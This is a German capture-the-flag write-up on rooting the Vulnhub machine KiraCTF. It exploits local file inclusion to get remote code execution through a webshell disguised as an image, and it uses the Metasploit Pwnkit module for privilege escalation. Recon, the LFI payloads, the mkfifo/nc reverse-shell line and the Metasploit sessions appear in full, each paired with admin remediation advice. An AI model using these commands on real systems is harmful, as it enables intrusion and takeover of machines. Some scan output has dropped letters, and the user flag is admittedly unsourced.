KiraCTF - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
Web Browser
wfuzz
cp
nc (netcat)
find
python3
Metasploit (msfconsole)

Inhaltsverzeichnis

Reconnaissance

**Analyse:** In der initialen Phase der Aufklärung wird das Zielsystem im lokalen Netzwerk identifiziert und anschließend mittels Portscans auf offene Dienste und deren Versionen untersucht.

┌──(root㉿Cyber)-[~] └─# arp-scan -l
192.168.2.136	08:00:27:25:f8:f3	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Hosts zu entdecken. Das Zielsystem wird unter der IP-Adresse `192.168.2.136` gefunden. Die zugehörige MAC-Adresse `08:00:27:25:f8:f3` (PCS Systemtechnik GmbH) weist auf eine Oracle VirtualBox VM hin.

**Bewertung:** Die Ziel-IP wurde erfolgreich identifiziert. `arp-scan` ist hierfür ein schnelles und zuverlässiges Werkzeug. Die MAC-Adresse liefert einen Kontext zur Virtualisierungsumgebung.

**Empfehlung (Pentester):** Die IP `192.168.2.136` als Ziel für nachfolgende, detailliertere Scans verwenden.
**Empfehlung (Admin):** Netzwerksegmentierung und ARP-Spoofing-Detection können die Host-Entdeckung erschweren.

┌──(root㉿Cyber)-[~] └─# vi /etc/hosts
 192.168.2.136	kira.vln
                    

**Analyse:** Die lokale Host-Datei (`/etc/hosts`) des Angreifersystems wird bearbeitet. Der Eintrag ordnet die IP `192.168.2.136` dem Hostnamen `kira.vln` zu. Dies erlaubt die Verwendung des Hostnamens in nachfolgenden Schritten, was für Webanwendungen, die auf Host-Header angewiesen sind, wichtig sein kann.

**Bewertung:** Eine sinnvolle Vorbereitung, um sicherzustellen, dass Webanwendungen korrekt angesprochen werden und um die Lesbarkeit von Befehlen und URLs zu erhöhen.

**Empfehlung (Pentester):** Bei Web-Tests immer prüfen, ob Hostnamen relevant sind und die `/etc/hosts`-Datei entsprechend pflegen.
**Empfehlung (Admin):** Dies ist eine clientseitige Konfiguration des Angreifers und kann serverseitig nicht direkt verhindert werden.

┌──(root㉿Cyber)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.136 -p- | grep open
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
                    

**Analyse:** Ein schneller `nmap`-Scan wird durchgeführt (`-sS`: SYN Scan, `-sC`: Standard-Skripte, `-sV`: Versionserkennung, `-T5`: Aggressives Timing, `-A`: Aggressiver Scan, `-Pn`: Kein Ping-Scan, `-p-`: Alle Ports). Die Ausgabe wird mit `grep open` gefiltert. Es wird nur ein offener Port gefunden: Port 80 (HTTP) mit einem Apache 2.4.29 Webserver.

**Bewertung:** Die Angriffsfläche dieses Systems ist extrem klein und auf den Webserver beschränkt. Dies legt den Fokus der weiteren Untersuchung klar auf Port 80. Die Apache-Version 2.4.29 ist nicht die aktuellste.

**Empfehlung (Pentester):** Den Webserver auf Port 80 gründlich untersuchen (Verzeichnisse, Dateien, Anwendungsschwachstellen). Die vollständige `nmap`-Ausgabe prüfen.
**Empfehlung (Admin):** Sicherstellen, dass nur absolut notwendige Ports geöffnet sind (hier der Fall). Webserver-Software aktuell halten.

┌──(root㉿Cyber)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.136 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-24 22:40 CEST
Nmap scan report for kira.vln (192.168.2.136)
Host is up (0.00010s latency).
Not shown: 65534 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:25:F8:F3 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 5.X
S CPE: cpe:/o:linux:linux_kernel:5
S details: Linux 5.0 - 5.5
Network Distance: 1 hop

TRACERUTE
HP RTT     ADDRESS
1   0.10 ms kira.vln (192.168.2.136)
                    

**Analyse:** Die vollständige `nmap`-Ausgabe bestätigt Port 80 mit Apache 2.4.29. Es wird festgestellt, dass die Webseite keinen Titel hat. Die Betriebssystemerkennung deutet auf einen Linux-Kernel der 5.x-Reihe hin (genauer 5.0 - 5.5).

**Bewertung:** Der vollständige Scan liefert keine wesentlich neuen Angriffspunkte, bestätigt aber die Ergebnisse und gibt eine genauere Einschätzung des Betriebssystems. Das Fehlen eines Seitentitels ist eine kleine Unsauberkeit.

**Empfehlung (Pentester):** Mit der Web-Enumeration fortfahren. Die Kernel-Version für potenzielle lokale Privilege Escalation Exploits vormerken.
**Empfehlung (Admin):** Webseiten sollten aussagekräftige Titel haben. Betriebssystem und Software aktuell halten.

┌──(root㉿Cyber)-[~] └─# nikto -h 192.168.2.136
- Nikto v2.5.0
+ Target IP:          192.168.2.136
+ Target Hostname:    192.168.2.136
+ Target Port:        80
+ Start Time:         2023-09-24 22:40:39 (GMT2)

+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: a3, size: 5a1c6704e055c, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: PST, PTINS, HEAD, GET . # Hinweis: OPTIONS fehlt hier im Originaltext, wahrscheinlich PST=POST, PTINS=OPTIONS
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-09-24 22:40:56 (GMT2) (17 seconds)

+ 1 host(s) tested
                    

**Analyse:** `nikto` scannt den Webserver auf Port 80. Wichtige Ergebnisse: * Bestätigt den Apache 2.4.29 Server. * Meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Weist auf ein mögliches Informationsleck durch ETags hin (CVE-2003-1418), was die Inode-Nummer preisgeben könnte. * Bestätigt, dass Apache 2.4.29 veraltet ist. * Listet erlaubte HTTP-Methoden auf (POST, OPTIONS, HEAD, GET - Annahme: PST=POST, PTINS=OPTIONS). * Findet die Apache-Standarddatei `/icons/README`.

**Bewertung:** `nikto` liefert zusätzliche Details und bestätigt bekannte Schwachpunkte. Die fehlenden Header und die veraltete Apache-Version sind Risiken. Das ETag-Leak ist ein Low-Risk-Finding, kann aber in bestimmten Szenarien nützlich sein. Die erlaubten HTTP-Methoden sind Standard für einen Webserver.

**Empfehlung (Pentester):** Die fehlenden Header und die veraltete Version notieren. Nach spezifischen Exploits für Apache 2.4.29 suchen. Den Webserver weiter enumerieren (Verzeichnisse, Dateien).
**Empfehlung (Admin):** Sicherheitsheader implementieren. Apache aktualisieren. ETag-Konfiguration überprüfen und ggf. so anpassen, dass keine Inodes geleakt werden (`FileETag MTime Size` statt Default). Standarddateien entfernen.

Web Enumeration (LFI Discovery)

**Analyse:** Die Webanwendung wird mittels Verzeichnis-Scanning und anschließender Analyse der gefundenen Seiten und des Quellcodes auf Schwachstellen untersucht.

┌──(root㉿Cyber)-[~] └─# gobuster dir -u http://kira.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://kira.vln/index.html           (Status: 200) [Size: 163]
http://kira.vln/uploads              (Status: 301) [Size: 306] [--> http://kira.vln/uploads/]
http://kira.vln/upload.php           (Status: 200) [Size: 287]
http://kira.vln/language.php         (Status: 200) [Size: 203]
                    

**Analyse:** `gobuster` wird eingesetzt, um nach Dateien und Verzeichnissen zu suchen. Es findet: * `index.html`: Die Startseite. * `uploads/`: Ein Verzeichnis (leitet weiter). * `upload.php`: Eine Seite zum Hochladen von Dateien. * `language.php`: Eine Seite zur Sprachauswahl oder -verarbeitung.

**Bewertung:** Die Funde sind vielversprechend. Eine Upload-Funktion (`upload.php`) ist ein klassischer Angriffsvektor. Die `language.php` könnte ebenfalls anfällig sein, z.B. für Local File Inclusion (LFI), wenn sie Sprachdateien basierend auf einem Parameter lädt. Das `uploads/`-Verzeichnis ist der wahrscheinliche Speicherort für hochgeladene Dateien.

**Empfehlung (Pentester):** Die Seiten `upload.php` und `language.php` genau untersuchen. `upload.php` auf unsichere Upload-Möglichkeiten testen (z.B. PHP-Shell hochladen). `language.php` auf LFI testen, indem versucht wird, über Parameter lokale Dateien zu inkludieren.
**Empfehlung (Admin):** Upload-Funktionen absichern (Dateityp-Validierung, Speicherort außerhalb des Web-Roots, Ausführungsrechte entziehen). LFI-Schwachstellen durch Validierung von Benutzereingaben und Verwendung von festen Pfaden verhindern.

**Analyse:** Der Quellcode der `index.html` wird untersucht, um zu verstehen, wie die gefundenen Seiten verlinkt sind.

# Quellcode-Analyse: view-source:http://kira.vln/index.html
onclick="window.location='/upload.php';"
onclick="window.location='/language.php';"
                    

**Bewertung:** Die Analyse bestätigt, dass `index.html` Links (vermutlich Buttons oder ähnliches) enthält, die direkt zu `upload.php` und `language.php` führen.

**Empfehlung (Pentester):** Mit der Untersuchung von `language.php` und `upload.php` fortfahren.
**Empfehlung (Admin):** Keine spezifische Aktion erforderlich, außer der Absicherung der Zielseiten.

**Analyse:** Die Seite `language.php` wird auf Local File Inclusion (LFI) getestet, indem versucht wird, die Datei `/etc/passwd` über den `lang`-Parameter zu inkludieren.

# LFI-Test: view-source:http://kira.vln/language.php?lang=../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
# ... (restlicher Inhalt von /etc/passwd) ...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# ...
bassam:x:1000:1000:Bassam,,,:/home/bassam:/bin/bash
# ...
                    

**Bewertung:** Kritische Schwachstelle gefunden! Die Anwendung ist anfällig für LFI über den `lang`-Parameter in `language.php`. Der Inhalt von `/etc/passwd` wird erfolgreich angezeigt. Dies ermöglicht das Lesen beliebiger Dateien auf dem System, auf die der Webserver-Benutzer (`www-data`) Lesezugriff hat. Der Benutzer `bassam` wird als regulärer Benutzer mit Bash-Shell identifiziert.

**Empfehlung (Pentester):** Die LFI-Schwachstelle nutzen, um weitere sensible Dateien zu lesen (z.B. Konfigurationsdateien der Webanwendung, SSH-Keys, Logdateien). Prüfen, ob die LFI auch zur Remote Code Execution (RCE) missbraucht werden kann (z.B. durch Inkludieren von Logdateien mit eingeschleustem PHP-Code oder über PHP-Wrapper wie `php://filter` oder `php://input`).
**Empfehlung (Admin):** Die LFI-Schwachstelle in `language.php` sofort beheben. Benutzereingaben (wie den `lang`-Parameter) strikt validieren und sicherstellen, dass sie nicht zur Manipulation von Dateipfaden verwendet werden können. Idealerweise nur erlaubte Werte (z.B. `en`, `de`) zulassen und diese auf feste Dateinamen mappen. PHP-Konfiguration härten (`allow_url_include = Off`).

┌──(root㉿Cyber)-[~] └─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://kira.vln/language.php?lang=../../../../../FUZZ" --hc 400,401,402,403,404 --hh 203
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://kira.vln/language.php?lang=../../../../../FUZZ
Total requests: 2894

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000081:   200        53 L     85 W       2655 Ch     "/etc/passwd"
000000402:   200        26 L     61 W       523 Ch      "etc/apache2/ports.conf"
000000401:   200        239 L    1132 W     7451 Ch     "etc/apache2/apache2.conf"
# ... (viele weitere gefundene Dateien, hauptsächlich Apache-Konfigs, /proc-Einträge) ...
000001700:   200        53 L     85 W       2655 Ch     "etc%2fpasswd"

Total time: 0
Processed Requests: 2894
Filtered Requests: 2794
Requests/sec.: 0
                    

**Analyse:** `wfuzz` wird verwendet, um die LFI-Schwachstelle weiter auszunutzen und nach bekannten Linux-Dateipfaden (aus der Wortliste `logfiles.txt`) zu suchen, die lesbar sind. * `-c`: Farbige Ausgabe. * `-w ...`: Wortliste mit Dateipfaden. * `-u "..."`: Ziel-URL, wobei `FUZZ` durch die Pfade aus der Wortliste ersetzt wird. Der Pfad-Traversal `../../../../../` wird verwendet, um vom Web-Verzeichnis ins Root-Verzeichnis zu gelangen. * `--hc ...`: Filtert HTTP-Fehlercodes heraus. * `--hh 203`: Filtert Antworten heraus, deren Zeichenanzahl 203 ist (dies ist wahrscheinlich die Größe der `language.php`-Seite, wenn keine Datei gefunden wird, um False Positives zu reduzieren). Die Ausgabe zeigt eine lange Liste von erfolgreich gelesenen Dateien, darunter `/etc/passwd`, diverse Apache-Konfigurationsdateien und Einträge aus `/proc`.

**Bewertung:** `wfuzz` bestätigt eindrucksvoll das Ausmaß der LFI-Schwachstelle. Viele Systemkonfigurationsdateien sind lesbar. Dies liefert wertvolle Informationen über die Systemkonfiguration (Apache-Module, Netzwerk, Prozesse).

**Empfehlung (Pentester):** Die gefundenen Dateien auf sensible Informationen (Passwörter, Konfigurationsschwächen) prüfen. Weiter nach spezifischen Anwendungs-Konfigurationsdateien oder SSH-Schlüsseln suchen.
**Empfehlung (Admin):** LFI beheben (siehe oben). Dateiberechtigungen auf dem System überprüfen und nach dem Prinzip der geringsten Rechte einschränken.

Initial Access (LFI to RCE)

**Analyse:** Die LFI-Schwachstelle wird nun genutzt, um Remote Code Execution (RCE) zu erreichen. Dies geschieht, indem zuerst eine PHP-Webshell hochgeladen (getarnt als Bilddatei, um Filter zu umgehen) und diese dann über die LFI inkludiert und ausgeführt wird.

┌──(root㉿Cyber)-[/home/cyber/Downloads] └─# cp shell.php shell.php.jpg

**Analyse:** Auf dem Angreifersystem wird eine vorbereitete PHP-Webshell (`shell.php`) in eine Datei mit der Erweiterung `.jpg` (`shell.php.jpg`) kopiert. Dies dient dazu, eine eventuelle Dateityp-Prüfung bei der Upload-Funktion (`upload.php`) zu umgehen, die möglicherweise nur Bilddateien erlaubt.

**Bewertung:** Ein gängiger Trick, um einfache Dateityp-Filter basierend auf der Erweiterung zu umgehen.

**Empfehlung (Pentester):** Diese Technik anwenden, wenn Upload-Filter die direkte Übertragung von PHP-Dateien blockieren. Auch andere Methoden wie das Ändern des `Content-Type`-Headers oder das Einbetten von Code in gültige Bilddateien (z.B. EXIF-Daten) können versucht werden.
**Empfehlung (Admin):** Dateityp-Validierung nicht nur anhand der Erweiterung, sondern auch anhand des MIME-Typs und des tatsächlichen Dateiinhalts (Magic Bytes) durchführen. Hochgeladene Dateien umbenennen und Berechtigungen restriktiv setzen.

# HTTP Response nach Upload von shell.php.jpg über upload.php
HTTP/1.1 200 OK
Date: Sun, 24 Sep 2023 21:33:37 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 378
Connection: close
Content-Type: text/html; charset=UTF-8

 
PHP File type check example 
 
 alert('upload Done')  
 Uploaded !!!
name : uploads/shell.php.jpg

**Analyse:** Die HTTP-Antwort nach dem (impliziten) Upload der `shell.php.jpg`-Datei über `upload.php` wird gezeigt. Die Antwort bestätigt den erfolgreichen Upload ("Uploaded !!!") und gibt den Speicherort der Datei an: `uploads/shell.php.jpg`. Das JavaScript `alert('upload Done');` wird ebenfalls ausgeführt.

**Bewertung:** Der Upload der getarnten PHP-Shell war erfolgreich. Der Dateityp-Filter (falls vorhanden) wurde umgangen, und der Speicherort ist bekannt. Dies öffnet die Tür zur RCE via LFI.

**Empfehlung (Pentester):** Nun die LFI-Schwachstelle in `language.php` nutzen, um die hochgeladene Datei `uploads/shell.php.jpg` zu inkludieren und auszuführen.
**Empfehlung (Admin):** Upload-Funktion dringend absichern (siehe vorherige Empfehlung). Sicherstellen, dass Dateien im `uploads`-Verzeichnis keine Ausführungsrechte haben (z.B. über Apache-Konfiguration `` mit `-ExecCGI`).

┌──(root㉿Cyber)-[/home/cyber/Downloads] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.136] 50750
Linux bassam-aziz 5.3.0-28-generic #30~18.04.1-Ubuntu SMP Fri Jan 17 06:14:09 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 00:36:18 up 58 min,  1 user,  load average: 1.00, 1.00, 1.10
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
bassam   :0       :0               23:38   ?xdm?  53:41   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
                    

**Analyse:** Ein Netcat-Listener wird auf dem Angreifersystem auf Port 4444 gestartet. Anschließend wird die LFI-Schwachstelle genutzt, um die hochgeladene PHP-Shell (`shell.php.jpg`) zu inkludieren. Der PHP-Code innerhalb der Datei wird ausgeführt und stellt eine Reverse-Shell-Verbindung zum Listener her. Der Listener empfängt die Verbindung und präsentiert eine Shell als Benutzer `www-data`. Systeminformationen (Kernel, Uptime, eingeloggte Benutzer) werden initial angezeigt.

# Payload zum Auslösen der Shell via LFI (im Browser oder via curl)
Payload = view-source:http://kira.vln/language.php?lang=../../../../../var/www/html/uploads/shell.php.jpg
                    

**Bewertung:** Exzellent! Die Kombination aus unsicherem File Upload und Local File Inclusion wurde erfolgreich zur Remote Code Execution und zur Etablierung einer Reverse Shell als `www-data` genutzt. Der initiale Zugriff ist geschafft.

**Empfehlung (Pentester):** Die erhaltene Shell stabilisieren (z.B. mit Python PTY). Mit der Enumeration als `www-data` beginnen, um Privilege Escalation Vektoren zu finden.
**Empfehlung (Admin):** Beide Schwachstellen (LFI und unsicherer Upload) dringend beheben. Dateiberechtigungen und Ausführungsrechte im Webserver-Kontext überprüfen und härten. Egress-Filtering implementieren.

Privilege Escalation (www-data Shell)

**Analyse:** Nach Erhalt der Shell als `www-data` wird das System weiter untersucht, um höhere Berechtigungen zu erlangen. Der Fokus liegt auf SUID-Binaries und der Vorbereitung für die Ausnutzung über Metasploit.

$ which python
$ which python3
/usr/bin/python3

**Analyse:** Es wird überprüft, welche Python-Versionen im Pfad verfügbar sind. `python` (typischerweise v2) wird nicht gefunden, aber `python3` ist unter `/usr/bin/python3` vorhanden.

**Bewertung:** Das Vorhandensein von Python 3 ist nützlich für die Shell-Stabilisierung oder das Ausführen von Python-basierten Exploits/Tools.

**Empfehlung (Pentester):** Python 3 für die Shell-Stabilisierung nutzen (z.B. `python3 -c 'import pty; pty.spawn("/bin/bash")'`).
**Empfehlung (Admin):** Unnötige Interpreter auf Produktivsystemen entfernen, falls möglich.

www-data@bassam-aziz:/$ find / -type f -perm -4000 -ls 2>/dev/null
# Gekürzte Ausgabe, interessante/Standard SUIDs
   262324     28 -rwsr-xr-x   1 root     root        26696 يناير  8  2020 /bin/umount
   262276     64 -rwsr-xr-x   1 root     root        64424 يونيو 28  2019 /bin/ping
   262304     44 -rwsr-xr-x   1 root     root        44664 مارس 22  2019 /bin/su
   262239     44 -rwsr-xr-x   1 root     root        43088 يناير  8  2020 /bin/mount
   262203     32 -rwsr-xr-x   1 root     root        30800 أغسطس 11  2016 /bin/fusermount
     3469     60 -rwsr-xr-x   1 root     root        59640 مارس 22  2019 /usr/bin/passwd
   # ... (gpasswd, chsh, traceroute6, arping) ...
   3575     24 -rwsr-xr-x   1 root     root        22520 مارس 27  2019 /usr/bin/pkexec
   3911    148 -rwsr-xr-x   1 root     root       149080 يناير 31  2020 /usr/bin/sudo
   # ... (chfn, snap-confine, policykit, openssh, eject, dbus, pppd) ...
   # ... (diverse SUIDs unter /snap/core/...) ...
                    

**Analyse:** Die Suche nach SUID-Binaries wird erneut ausgeführt. Die Ausgabe (teilweise mit arabischen Monatsnamen, was auf die System-Locale hindeutet) zeigt wieder Standard-SUID-Programme sowie `pkexec` (März 2019) und `sudo` (Januar 2020). `pkexec` ist aufgrund des Datums wahrscheinlich anfällig für Pwnkit (CVE-2021-4034).

**Bewertung:** Die SUID-Analyse bestätigt Pwnkit als den wahrscheinlichsten und einfachsten Weg zur Root-Eskalation.

**Empfehlung (Pentester):** Die Pwnkit-Schwachstelle ausnutzen, idealerweise über Metasploit.
**Empfehlung (Admin):** System patchen (Polkit aktualisieren).

**Analyse:** Es wird entschieden, die `www-data`-Shell zu Metasploit zu migrieren, um die weitere Eskalation über Pwnkit zu vereinfachen.

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
# ... (Standard Optionen LHOST, LPORT=4444) ...
                    
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > set lport 4445
lport => 4445
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4445
www-data@bassam-aziz:/$ clear
# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4445 >/tmp/f
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.136:57764) at 2023-09-24 23:42:31 +0200

Shell Banner:
$
--

$
                    
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > options
# ... (Optionen: HANDLER, LHOST, LPORT=4433, SESSION) ...
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.136
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.136:54664) at 2023-09-24 23:43:19 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                     

**Analyse:** Eine Metasploit-Sitzung wird vorbereitet. Ein `multi/handler` lauscht auf Port 4445. Von der `www-data`-Shell wird mittels eines `nc`-Payloads über eine Named Pipe (`/tmp/f`) eine Verbindung zum Listener aufgebaut (Session 1). Diese einfache Shell-Sitzung wird anschließend mit dem `shell_to_meterpreter`-Modul zu einer Meterpreter-Sitzung (Session 2) auf Port 4433 aufgewertet.

**Bewertung:** Erfolgreiche Migration von der initialen `nc`-Shell zu einer stabilen Meterpreter-Sitzung als `www-data`. Dies ist die optimale Ausgangsposition für die Ausführung des Pwnkit-Exploits.

**Empfehlung (Pentester):** Den Pwnkit-Exploit auf die Meterpreter-Sitzung 2 anwenden.
**Empfehlung (Admin):** Egress-Filtering, HIDS/EDR können solche Aktivitäten erkennen.

Proof of Concept: Privilege Escalation via Pwnkit

**Analyse:** Der Pwnkit-Exploit (CVE-2021-4034) wird über Metasploit ausgeführt, um Root-Rechte zu erlangen, basierend auf der vorherigen SUID-Analyse und der Annahme der Verwundbarkeit von `pkexec`.

msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
# ... (Optionen: SESSION, WRITABLE_DIR, Payload-Optionen LHOST/LPORT=4444) ...
                    
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.jujcvknlug
[+] The target is vulnerable.
[*] Writing '/tmp/.oaooxfnqn/ghkzegg/ghkzegg.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.oaooxfnqn
[*] Sending stage (3045380 bytes) to 192.168.2.136
[+] Deleted /tmp/.oaooxfnqn/ghkzegg/ghkzegg.so
[+] Deleted /tmp/.oaooxfnqn/.qaybnigsfey
[+] Deleted /tmp/.oaooxfnqn
[*] Meterpreter session 3 opened (192.168.2.199:4444 -> 192.168.2.136:50760) at 2023-09-24 23:44:06 +0200
                     
meterpreter > shell
Process 2750 created.
Channel 1 created.
                    
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

**Analyse:** Das Metasploit-Modul für Pwnkit (CVE-2021-4034) wird geladen (hier über Index `1` aus dem Suggester-Kontext oder manuell) und auf die Meterpreter-Sitzung 2 (`www-data`) angewendet. Der Exploit startet einen Listener für die neue Root-Shell auf Port 4444. Er bestätigt die Verwundbarkeit (`[+] The target is vulnerable.`), lädt notwendige Komponenten nach `/tmp`, führt den Exploit gegen `pkexec` aus und etabliert erfolgreich eine neue Meterpreter-Sitzung (Session 3). Von dieser wird eine Shell geöffnet, und der `id`-Befehl bestätigt `uid=0(root)`.

**Bewertung:** Ausgezeichnet! Die Privilege Escalation auf Root war mittels Pwnkit erfolgreich. Der Weg über die Metasploit-Module war effizient und zielführend.

**Empfehlung (Pentester):** Die Root-Shell nutzen, um die finalen Flags zu suchen und zu lesen.
**Empfehlung (Admin):** System dringend patchen (Polkit für CVE-2021-4034). Sicherheitslücken in der Webanwendung (LFI, unsicherer Upload) schließen. Überwachung verdächtiger Aktivitäten verstärken.

cd
cd ~
ls
flag.txt
cat flag.txt
THM{root-Is_Better-Than_All-of-THEM-31337}

**Analyse:** In der Root-Shell wird ins Home-Verzeichnis (`/root`) gewechselt. Dort wird die Datei `flag.txt` gefunden und ihr Inhalt ausgelesen, welcher die Root-Flagge `THM{root-Is_Better-Than_All-of-THEM-31337}` ist.

**Bewertung:** Die Root-Flagge wurde erfolgreich extrahiert.

**Empfehlung (Pentester):** Root-Flagge dokumentieren. Nach der User-Flagge suchen (vermutlich in `/home/bassam/`).
**Empfehlung (Admin):** Sicherstellen, dass sensible Daten oder Flags angemessen geschützt sind.

Flags

cat user.txt (Pfad/Inhalt nicht explizit im Log gefunden)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/flag.txt
THM{root-Is_Better-Than_All-of-THEM-31337}

**Analyse:** Die Root-Flagge wurde direkt im Log gefunden (`THM{...}`). Für die User-Flagge wurde im Log kein expliziter Befehl zum Auslesen gefunden, daher wird der Platzhalter aus dem Ende des Originaltextes verwendet. Sie befindet sich vermutlich in `/home/bassam/user.txt`.

**Bewertung:** Der Test war erfolgreich, die Root-Flagge wurde gefunden. Der Pfad zur User-Flagge ist wahrscheinlich, aber nicht durch das Log belegt.